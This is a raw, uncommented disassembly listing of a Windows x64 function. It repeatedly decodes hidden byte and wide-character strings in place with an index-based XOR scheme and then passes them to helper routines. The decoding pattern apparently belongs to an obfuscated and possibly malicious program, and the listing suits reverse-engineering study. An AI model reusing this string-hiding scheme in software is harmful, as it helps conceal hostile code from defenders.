call fcn.140014800
nop
lea rcx, [rbp + 0x2078]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2058]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2018]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1fd8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1fb8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1f78]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x1f58]
call fcn.1400079a0
lea rax, [rbp + 0x570]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x570]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5a88]
lea rcx, [rbp - 0x1e]
call fcn.14002d990
mov r10, rax
cmp word [rax + 0x2a], 0
je 0x14001eec4
mov r8d, esi
cmp r14d, 2
jl 0x14001ee7f
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x16
jl 0x14001ee90
mov rdx, r10
lea rcx, [rbp + 0x2098]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x20b8]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x20d8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp - 0x1d]
call fcn.14002d960
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x14001f170
mov r8d, esi
cmp r14d, 2
jl 0x14001f12e
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14001f140
mov rdx, r10
lea rcx, [rbp + 0x20f8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2118]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x20d8]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x2138]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5428]
lea rcx, [rbp - 0x1c]
call fcn.14002d930
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001f320
mov r8d, esi
cmp r14d, 2
jl 0x14001f2df
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001f1f0
cmp r8d, 0x21
jge 0x14001f320
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001f2f0
mov rdx, r10
lea rcx, [rbp + 0x2158]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2138]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x5770]
lea rcx, [rbp - 0x1b]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001f4b0
mov r8d, esi
cmp r14d, 2
jl 0x14001f46f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001f380
cmp r8d, 0x27
jge 0x14001f4b0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001f480
mov rdx, r10
lea rcx, [rbp + 0x2198]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x21b8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2178]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x21b8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2198]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2158]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2118]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x20f8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x20b8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2098]
call fcn.1400079a0
lea rax, [rbp + 0x588]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x588]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5fa8]
lea rcx, [rbp - 0x1a]
call fcn.14002da20
mov r10, rax
cmp word [rax + 0x36], 0
je 0x14001f6e4
mov r8d, esi
cmp r14d, 2
jl 0x14001f6a7
mov rcx, rax
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x14001f5b0
cmp r8d, 0x1c
jge 0x14001f6e4
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1c
jl 0x14001f6b0
mov rdx, r10
lea rcx, [rbp + 0x21d8]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x21f8]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x2218]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0xab8]
lea rcx, [rbp - 0x19]
call fcn.14002d9f0
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x14001f890
mov r8d, esi
cmp r14d, 2
jl 0x14001f84f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001f760
cmp r8d, 0x1c
jge 0x14001f890
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14001f860
mov rdx, r10
lea rcx, [rbp + 0x2238]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2258]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2218]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x2278]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5400]
lea rcx, [rbp - 0x18]
call fcn.14002d9c0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001fa40
mov r8d, esi
cmp r14d, 2
jl 0x14001f9ff
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001f910
cmp r8d, 0x21
jge 0x14001fa40
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001fa10
mov rdx, r10
lea rcx, [rbp + 0x2298]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2278]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x5748]
lea rcx, [rbp - 0x17]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001fbd0
mov r8d, esi
cmp r14d, 2
jl 0x14001fb8f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001faa0
cmp r8d, 0x27
jge 0x14001fbd0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001fba0
mov rdx, r10
lea rcx, [rbp + 0x22d8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x22f8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x22b8]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x22f8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x22d8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2298]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2258]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2238]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x21f8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x21d8]
call fcn.1400079a0
lea rax, [rbp + 0x5a0]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x5a0]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x59c8]
lea rcx, [rbp - 0x16]
call fcn.14002dac0
mov r10, rax
cmp word [rax + 0x28], 0
je 0x14001ff14
mov r8d, esi
cmp r14d, 2
jl 0x14001fecf
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x14001fee0
mov rdx, r10
lea rcx, [rbp + 0x2318]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x2338]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
